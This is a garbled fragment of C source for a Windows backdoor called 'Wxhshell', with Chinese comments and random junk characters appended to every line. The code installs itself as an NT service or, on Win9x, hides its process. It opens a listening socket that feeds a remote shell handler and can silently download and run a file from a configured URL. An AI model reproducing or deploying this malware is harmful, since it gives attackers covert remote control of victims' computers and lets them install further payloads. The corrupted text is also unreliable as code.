DWORD BasePriority; 5?H8?~&dz
ULONG UniqueProcessId; z#&1>
ULONG InheritedFromUniqueProcessId; %(
7##f_
} PROCESS_BASIC_INFORMATION; 9oc_*V0<
If'2
m_
PROCNTQSIP NtQueryInformationProcess; L3\#ufytb
ZbT$f^o}M]
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8zeeC
eI U
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >6Uc|D
L,A+"
HANDLE hProcess; -'qVnu
PROCESS_BASIC_INFORMATION pbi; J(}PvkA
\VhG'd3k
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |qe;+)0>K
if(NULL == hInst ) return 0; jA9uB.I,"b
AcuZ?LYzK
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,(q]
$eOZ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); grE(8M
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K!\v?WbF
FW8Zpr!u
if (!NtQueryInformationProcess) return 0; (]cL5o9
(
y!o
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HUjX[w8
if(!hProcess) return 0; k F^4kCJ@
pqO0M]}
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sDNWB_~
DcBAncsK
CloseHandle(hProcess); ~.3v\Q
`>UUdv{C
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G?@W;o)
if(hProcess==NULL) return 0; \k=dqWBr7
W2rd[W
HMODULE hMod; LQ k^l`
char procName[255]; LTS{[(%
unsigned long cbNeeded; QBXEM=
m2^vH+wD
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s?;8h &]=
5FJLDT2Lg
CloseHandle(hProcess); yfV]f
LZ
t[+bZUS$~
if(strstr(procName,"services")) return 1; // 以服务启动 "9'3mmZm=?
N{bg-%s10i
return 0; // 注册表启动 KE"6I
} Hre&a!U
<o|fH~?X
// 主模块 c6 &k?Puy
int StartWxhshell(LPSTR lpCmdLine) >ymn&_zlT
{ 34Gu @"
SOCKET wsl; ^z!=,M<+{
BOOL val=TRUE; BA1H)%
int port=0; L}{3_/t
struct sockaddr_in door; /UK?&+1qE
\h3HaNC
if(wscfg.ws_autoins) Install(); wi+Qlf
y}oA!<#3
port=atoi(lpCmdLine); g]Y%c73
k%gj
if(port<=0) port=wscfg.ws_port; TaSS) n
?=4oxPe
WSADATA data; &,<,!j)Jr
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ppn 8
'cc8xC
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }v}F8}4
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); er24}G8
door.sin_family = AF_INET; gmH`XKi\
door.sin_addr.s_addr = inet_addr("127.0.0.1"); |Q)mBvvN
door.sin_port = htons(port); *#>(P
pLe4dz WA
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D~ 3@v+d
closesocket(wsl); MzUKp"
return 1; x[};x;[ZE
} Qq.$!$
#tA9`!
if(listen(wsl,2) == INVALID_SOCKET) { 5ZkR3/h e
closesocket(wsl); >}F$6KM
return 1; sXEIC#rq
} OEl;R7aOB&
Wxhshell(wsl); \?t8[N\_[(
WSACleanup(); @`
Pn<_L
`lE&:)
return 0; I~F&@
,nL~?h-Zh
} j[i*;0) |
p5E
okh
// 以NT服务方式启动 !yj1X
Ar
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ij:a+T
{ `q]' ^EzJ
DWORD status = 0; @mZK[*Ak<*
DWORD specificError = 0xfffffff; nI?*[y}
@d{}M)6\!
serviceStatus.dwServiceType = SERVICE_WIN32; *LhwIY
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 1Q
FsT
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q 8Ek}O\MC
serviceStatus.dwWin32ExitCode = 0; 5@1h^wv
serviceStatus.dwServiceSpecificExitCode = 0; *JX$5bZsI
serviceStatus.dwCheckPoint = 0; &Qda|
serviceStatus.dwWaitHint = 0; NLpKh1g
N[O .p]8
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ){P`-ZF
if (hServiceStatusHandle==0) return; >WZ%Pv*
(BtU\f#d
status = GetLastError(); eCKm4l'BZ
if (status!=NO_ERROR) Eh;Ia6}
{ $:5h5Y#z
serviceStatus.dwCurrentState = SERVICE_STOPPED; zUJXA:L9
serviceStatus.dwCheckPoint = 0; p*jU)@a0
serviceStatus.dwWaitHint = 0; 16eP7s
serviceStatus.dwWin32ExitCode = status; [dLc+h1{B
serviceStatus.dwServiceSpecificExitCode = specificError; !bLCha\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); mY"Dw^)
return; 6{i0i9Tb
} u,iiS4'Ze
"JmbYb#Z
serviceStatus.dwCurrentState = SERVICE_RUNNING; <H]PP6_g:
serviceStatus.dwCheckPoint = 0; ;DX{+Z[
serviceStatus.dwWaitHint = 0; Q(N'Oj:J
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0_je@p+$
} ynra%"sd
"UD)3_R
// 处理NT服务事件,比如:启动、停止 0y<9JvN$9
VOID WINAPI NTServiceHandler(DWORD fdwControl) j,].88H
{ +7OE,RoQ
switch(fdwControl) W:n\,P
{ ;Co"bP's
case SERVICE_CONTROL_STOP: )?&mCI*
serviceStatus.dwWin32ExitCode = 0; "?k'S{;
serviceStatus.dwCurrentState = SERVICE_STOPPED; +,"[0RH
serviceStatus.dwCheckPoint = 0; fXnTqKAfu6
serviceStatus.dwWaitHint = 0; _Q^jk0K8ga
{ =aj|auu
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0e"KdsA:<U
} "Vc|D (g
return; bZWR.</
case SERVICE_CONTROL_PAUSE: 9{nU\am!\
serviceStatus.dwCurrentState = SERVICE_PAUSED; _6.@^\;
break; Bz,D4E$
case SERVICE_CONTROL_CONTINUE: p=[dt
serviceStatus.dwCurrentState = SERVICE_RUNNING; 7Y~5gn
break; u*iqwm.
case SERVICE_CONTROL_INTERROGATE: b *|?7
break; |1ry*~
}; (*eX'^Q)d
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rA<J^dX=C
} :FSg%IUX
:W&klUU"
// 标准应用程序主函数 GPAC0K^p
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YVRE9
{ A|IPQ=
~qb?#IY]`
// 获取操作系统版本 wMF1HT<*
OsIsNt=GetOsVer(); uq:'`o-1
GetModuleFileName(NULL,ExeFile,MAX_PATH); uJ=&++[
ArX*3
// 从命令行安装 Jp)PKS
![
if(strpbrk(lpCmdLine,"iI")) Install(); Gg6cjc =dC
Jnt
r"a-4
// 下载执行文件 tMf5TiWu@
if(wscfg.ws_downexe) { K'e!BZm6Q
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "[A&S!
WinExec(wscfg.ws_filenam,SW_HIDE); [uie]*^
} j }^?Snq
rf$[8d
if(!OsIsNt) { \2@9k`
// 如果时win9x,隐藏进程并且设置为注册表启动 vA*NJ%&`
HideProc(); ZQz;EV!
StartWxhshell(lpCmdLine); {XhpxJ__
} )}w-;HX
else 2s 9U&
if(StartFromService()) 'uUa|J1mu
// 以服务方式启动 Jz;`L3m
StartServiceCtrlDispatcher(DispatchTable); uTbMp~cYB
else (o6u^#6
// 普通方式启动 W#b++}S
StartWxhshell(lpCmdLine); mMhe,8E&
_;(QMeR
return 0; 3joMtRB>;
}